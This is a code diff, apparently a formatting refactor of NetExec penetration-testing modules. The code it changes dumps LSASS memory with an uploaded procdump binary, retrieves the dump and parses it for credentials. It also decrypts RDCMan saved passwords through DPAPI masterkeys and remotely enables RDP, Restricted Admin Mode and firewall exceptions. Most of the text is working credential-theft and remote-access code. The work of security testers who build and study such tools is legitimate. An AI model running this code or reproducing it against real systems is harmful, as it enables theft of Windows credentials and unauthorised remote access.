||||
def __init__(self, data=None, pcReturned=None):
|
||||
Structure.__init__(self, data=data)
|
||||
self["drivers"] = list()
|
||||
self["drivers"] = []
|
||||
remaining = data
|
||||
if data is not None:
|
||||
for _ in range(pcReturned):
|
||||
attr = DRIVER_INFO_2_BLOB(remaining)
|
||||
self["drivers"].append(attr)
|
||||
remaining = remaining[len(attr) :]
|
||||
remaining = remaining[len(attr):]
|
||||
|
||||
|
||||
class DRIVER_INFO_UNION(NDRUNION):
|
||||
|
|
|
@ -1,7 +1,4 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# prdocdump module for nxc python3
|
||||
# author: github.com/mpgn
|
||||
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
|
||||
# v0.4
|
||||
|
||||
|
@ -20,13 +17,12 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
|
||||
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
|
||||
"""
|
||||
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
@ -53,25 +49,25 @@ class NXCModule:
|
|||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded == True:
|
||||
if self.useembeded is True:
|
||||
with open(self.procdump_path + self.procdump, "wb") as procdump:
|
||||
procdump.write(self.procdump_embeded)
|
||||
|
||||
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
|
||||
context.log.display(f"Copy {self.procdump_path + self.procdump} to {self.tmp_dir}")
|
||||
with open(self.procdump_path + self.procdump, "rb") as procdump:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
|
||||
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
|
||||
context.log.success(f"Created file {self.procdump} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display("Getting lsass PID {}".format(command))
|
||||
context.log.display(f"Getting lsass PID {command}")
|
||||
p = connection.execute(command, True)
|
||||
pid = p.split(",")[1][1:-1]
|
||||
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
|
||||
context.log.display("Executing command {}".format(command))
|
||||
context.log.display(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
|
@ -91,30 +87,29 @@ class NXCModule:
|
|||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display("Copy {} to host".format(machine_name))
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
|
||||
except Exception as e:
|
||||
context.log.fail("Error while get file: {}".format(e))
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success("Deleted procdump file on the {} share".format(self.share))
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
|
||||
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
with open(self.dir_result + machine_name, "rb") as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
try:
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
|
|
|
@ -1,25 +1,21 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from math import fabs
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Created by fplazar and wanetty
|
||||
Module by @gm_eduard and @ferranplaza
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
'''
|
||||
"""
|
||||
Created by fplazar and wanetty
|
||||
Module by @gm_eduard and @ferranplaza
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
"""
|
||||
|
||||
name = 'pso'
|
||||
name = "pso"
|
||||
description = "Query to get PSO from LDAP"
|
||||
supported_protocols = ['ldap']
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
||||
pso_fields = [
|
||||
"cn",
|
||||
"msDS-PasswordReversibleEncryptionEnabled",
|
||||
|
@ -36,48 +32,37 @@ class NXCModule:
|
|||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
No options available.
|
||||
'''
|
||||
pass
|
||||
|
||||
def convert_time_field(self, field, value):
|
||||
time_fields = {
|
||||
"msDS-LockoutObservationWindow": (60, "mins"),
|
||||
"msDS-MinimumPasswordAge": (86400, "days"),
|
||||
"msDS-MaximumPasswordAge": (86400, "days"),
|
||||
"msDS-LockoutDuration": (60, "mins")
|
||||
}
|
||||
"""No options available."""
|
||||
|
||||
def convert_time_field(self, field, value):
|
||||
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
|
||||
|
||||
if field in time_fields:
|
||||
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
|
||||
|
||||
if field in time_fields.keys():
|
||||
value = f"{int((fabs(float(value)) / (10000000 * time_fields[field][0])))} {time_fields[field][1]}"
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def on_login(self, context, connection):
|
||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
# Building the search filter
|
||||
searchFilter = "(objectClass=msDS-PasswordSettings)"
|
||||
search_filter = "(objectClass=msDS-PasswordSettings)"
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=self.pso_fields,
|
||||
sizeLimit=0)
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
logging.debug(e)
|
||||
context.log.debug(e)
|
||||
return False
|
||||
|
||||
pso_list = []
|
||||
|
||||
context.log.debug('Total of records returned %d' % len(resp))
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
|
@ -85,25 +70,23 @@ class NXCModule:
|
|||
pso_info = {}
|
||||
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
attr_name = str(attribute['type'])
|
||||
for attribute in item["attributes"]:
|
||||
attr_name = str(attribute["type"])
|
||||
if attr_name in self.pso_fields:
|
||||
pso_info[attr_name] = attribute['vals'][0]._value.decode('utf-8')
|
||||
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
|
||||
|
||||
pso_list.append(pso_info)
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
if len(pso_list) > 0:
|
||||
context.log.success('Password Settings Objects (PSO) found:')
|
||||
context.log.success("Password Settings Objects (PSO) found:")
|
||||
for pso in pso_list:
|
||||
for field in self.pso_fields:
|
||||
if field in pso:
|
||||
value = self.convert_time_field(field, pso[field])
|
||||
context.log.highlight(u'{}: {}'.format(field, value))
|
||||
context.log.highlight('-----')
|
||||
|
||||
context.log.highlight(f"{field}: {value}")
|
||||
context.log.highlight("-----")
|
||||
else:
|
||||
context.log.info('No Password Settings Objects (PSO) found.')
|
||||
context.log.info("No Password Settings Objects (PSO) found.")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from dploot.triage.rdg import RDGTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
|
@ -26,11 +23,11 @@ class NXCModule:
|
|||
self.masterkeys = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read()
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
|
@ -67,8 +64,7 @@ class NXCModule:
|
|||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get domain backupkey: {}".format(e))
|
||||
pass
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
|
@ -89,7 +85,7 @@ class NXCModule:
|
|||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug("Could not upgrade connection: {}".format(e))
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
|
@ -110,13 +106,13 @@ class NXCModule:
|
|||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get masterkeys: {}".format(e))
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
|
@ -125,71 +121,17 @@ class NXCModule:
|
|||
if rdcman_file is None:
|
||||
continue
|
||||
for rdg_cred in rdcman_file.rdg_creds:
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
if rdg_cred.type in ["cred", "logon", "server"]:
|
||||
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
for rdg_cred in rdgfile.rdg_creds:
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
if rdg_cred.type == "server":
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
|
@ -11,12 +8,13 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdp"
|
||||
description = "Enables/Disables RDP"
|
||||
supported_protocols = ["smb" ,"wmi"]
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
@ -35,7 +33,7 @@ class NXCModule:
|
|||
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram}
|
||||
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5}
|
||||
"""
|
||||
if not "ACTION" in module_options:
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
|
@ -44,26 +42,26 @@ class NXCModule:
|
|||
exit(1)
|
||||
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
if not "METHOD" in module_options:
|
||||
|
||||
if "METHOD" not in module_options:
|
||||
self.method = "wmi"
|
||||
else:
|
||||
self.method = module_options['METHOD'].lower()
|
||||
|
||||
self.method = module_options["METHOD"].lower()
|
||||
|
||||
if context.protocol != "smb" and self.method == "smb":
|
||||
context.log.fail(f"Protocol: {context.protocol} not support this method")
|
||||
exit(1)
|
||||
|
||||
if not "DCOM-TIMEOUT" in module_options:
|
||||
if "DCOM-TIMEOUT" not in module_options:
|
||||
self.dcom_timeout = 10
|
||||
else:
|
||||
try:
|
||||
self.dcom_timeout = int(module_options['DCOM-TIMEOUT'])
|
||||
except:
|
||||
self.dcom_timeout = int(module_options["DCOM-TIMEOUT"])
|
||||
except Exception:
|
||||
context.log.fail("Wrong DCOM timeout value!")
|
||||
exit(1)
|
||||
|
||||
if not "OLD" in module_options:
|
||||
|
||||
if "OLD" not in module_options:
|
||||
self.oldSystem = False
|
||||
else:
|
||||
self.oldSystem = True
|
||||
|
@ -73,136 +71,131 @@ class NXCModule:
|
|||
if self.method == "smb":
|
||||
context.log.info("Executing over SMB(ncacn_np)")
|
||||
try:
|
||||
smb_rdp = rdp_SMB(context, connection)
|
||||
smb_rdp = RdpSmb(context, connection)
|
||||
if "ram" in self.action:
|
||||
smb_rdp.rdp_RAMWrapper(self.action)
|
||||
smb_rdp.rdp_ram_wrapper(self.action)
|
||||
else:
|
||||
smb_rdp.rdp_Wrapper(self.action)
|
||||
smb_rdp.rdp_wrapper(self.action)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Enable RDP via smb error: {str(e)}")
|
||||
context.log.fail(f"Enable RDP via smb error: {e!s}")
|
||||
elif self.method == "wmi":
|
||||
context.log.info("Executing over WMI(ncacn_ip_tcp)")
|
||||
|
||||
wmi_rdp = rdp_WMI(context, connection, self.dcom_timeout)
|
||||
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
|
||||
|
||||
if hasattr(wmi_rdp, '_rdp_WMI__iWbemLevel1Login'):
|
||||
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
|
||||
if "ram" in self.action:
|
||||
# Nt version under 6 not support RAM.
|
||||
try:
|
||||
wmi_rdp.rdp_RAMWrapper(self.action)
|
||||
wmi_rdp.rdp_ram_wrapper(self.action)
|
||||
except Exception as e:
|
||||
if "WBEM_E_NOT_FOUND" in str(e):
|
||||
context.log.fail("System version under NT6 not support restricted admin mode")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
wmi_rdp.rdp_Wrapper(self.action, self.oldSystem)
|
||||
wmi_rdp.rdp_wrapper(self.action, self.oldSystem)
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
context.log.fail('Looks like target system version is under NT6, please add "OLD=true" in module options.')
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
pass
|
||||
wmi_rdp._rdp_WMI__dcom.disconnect()
|
||||
|
||||
class rdp_SMB:
|
||||
|
||||
class RdpSmb:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.__smbconnection = connection.conn
|
||||
self.__execute = connection.execute
|
||||
self.logger = context.log
|
||||
|
||||
def rdp_Wrapper(self, action):
|
||||
remoteOps = RemoteOperations(self.__smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
def rdp_wrapper(self, action):
|
||||
remote_ops = RemoteOperations(self.__smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"fDenyTSConnections",
|
||||
rrp.REG_DWORD,
|
||||
0 if action == "enable" else 1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections")
|
||||
|
||||
if int(data) == 0:
|
||||
self.logger.success("Enable RDP via SMB(ncacn_np) successfully")
|
||||
elif int(data) == 1:
|
||||
self.logger.success("Disable RDP via SMB(ncacn_np) successfully")
|
||||
|
||||
self.firewall_CMD(action)
|
||||
|
||||
self.firewall_cmd(action)
|
||||
|
||||
if action == "enable":
|
||||
self.query_RDPPort(remoteOps, regHandle)
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
self.query_rdp_port(remote_ops, reg_handle)
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def rdp_RAMWrapper(self, action):
|
||||
remoteOps = RemoteOperations(self.__smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
def rdp_ram_wrapper(self, action):
|
||||
remote_ops = RemoteOperations(self.__smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"System\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"DisableRestrictedAdmin",
|
||||
rrp.REG_DWORD,
|
||||
0 if action == "enable-ram" else 1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "DisableRestrictedAdmin")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin")
|
||||
|
||||
if int(data) == 0:
|
||||
self.logger.success("Enable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
|
||||
elif int(data) == 1:
|
||||
self.logger.success("Disable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def query_RDPPort(self, remoteOps, regHandle):
|
||||
def query_rdp_port(self, remoteOps, regHandle):
|
||||
if remoteOps:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PortNumber")
|
||||
|
||||
self.logger.success(f"RDP Port: {str(data)}")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, key_handle, "PortNumber")
|
||||
|
||||
self.logger.success(f"RDP Port: {data!s}")
|
||||
|
||||
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/enable_rdp.rb
|
||||
def firewall_CMD(self, action):
|
||||
def firewall_cmd(self, action):
|
||||
cmd = f"netsh firewall set service type = remotedesktop mode = {action}"
|
||||
self.logger.info("Configure firewall via execute command.")
|
||||
output = self.__execute(cmd, True)
|
||||
|
@ -211,20 +204,21 @@ class rdp_SMB:
|
|||
else:
|
||||
self.logger.fail(f"{action.capitalize()} RDP firewall rules via cmd failed, maybe got detected by AV software.")
|
||||
|
||||
class rdp_WMI:
|
||||
|
||||
class RdpWmi:
|
||||
def __init__(self, context, connection, timeout):
|
||||
self.logger = context.log
|
||||
self.__currentprotocol = context.protocol
|
||||
# From dfscoerce.py
|
||||
self.__username=connection.username
|
||||
self.__password=connection.password
|
||||
self.__domain=connection.domain
|
||||
self.__lmhash=connection.lmhash
|
||||
self.__nthash=connection.nthash
|
||||
self.__target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos=connection.kerberos
|
||||
self.__kdcHost=connection.kdcHost
|
||||
self.__aesKey=connection.aesKey
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = connection.lmhash
|
||||
self.__nthash = connection.nthash
|
||||
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
try:
|
||||
|
@ -241,102 +235,102 @@ class rdp_WMI:
|
|||
kdcHost=self.__kdcHost,
|
||||
)
|
||||
|
||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
if not self.__stringBinding:
|
||||
error_msg = "RDP-WMI: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again"
|
||||
|
||||
|
||||
self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg)
|
||||
# Make it force break function
|
||||
self.__dcom.disconnect()
|
||||
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Unexpected wmi error: {str(e)}, please try to use "-o" with "METHOD=smb"')
|
||||
self.logger.fail(f'Unexpected wmi error: {e}, please try to use "-o" with "METHOD=smb"')
|
||||
if self.__iWbemLevel1Login in locals():
|
||||
self.__dcom.disconnect()
|
||||
|
||||
def rdp_Wrapper(self, action, old=False):
|
||||
if old == False:
|
||||
def rdp_wrapper(self, action, old=False):
|
||||
if old is False:
|
||||
# According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
|
||||
# Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
|
||||
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
|
||||
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
|
||||
if action == 'enable':
|
||||
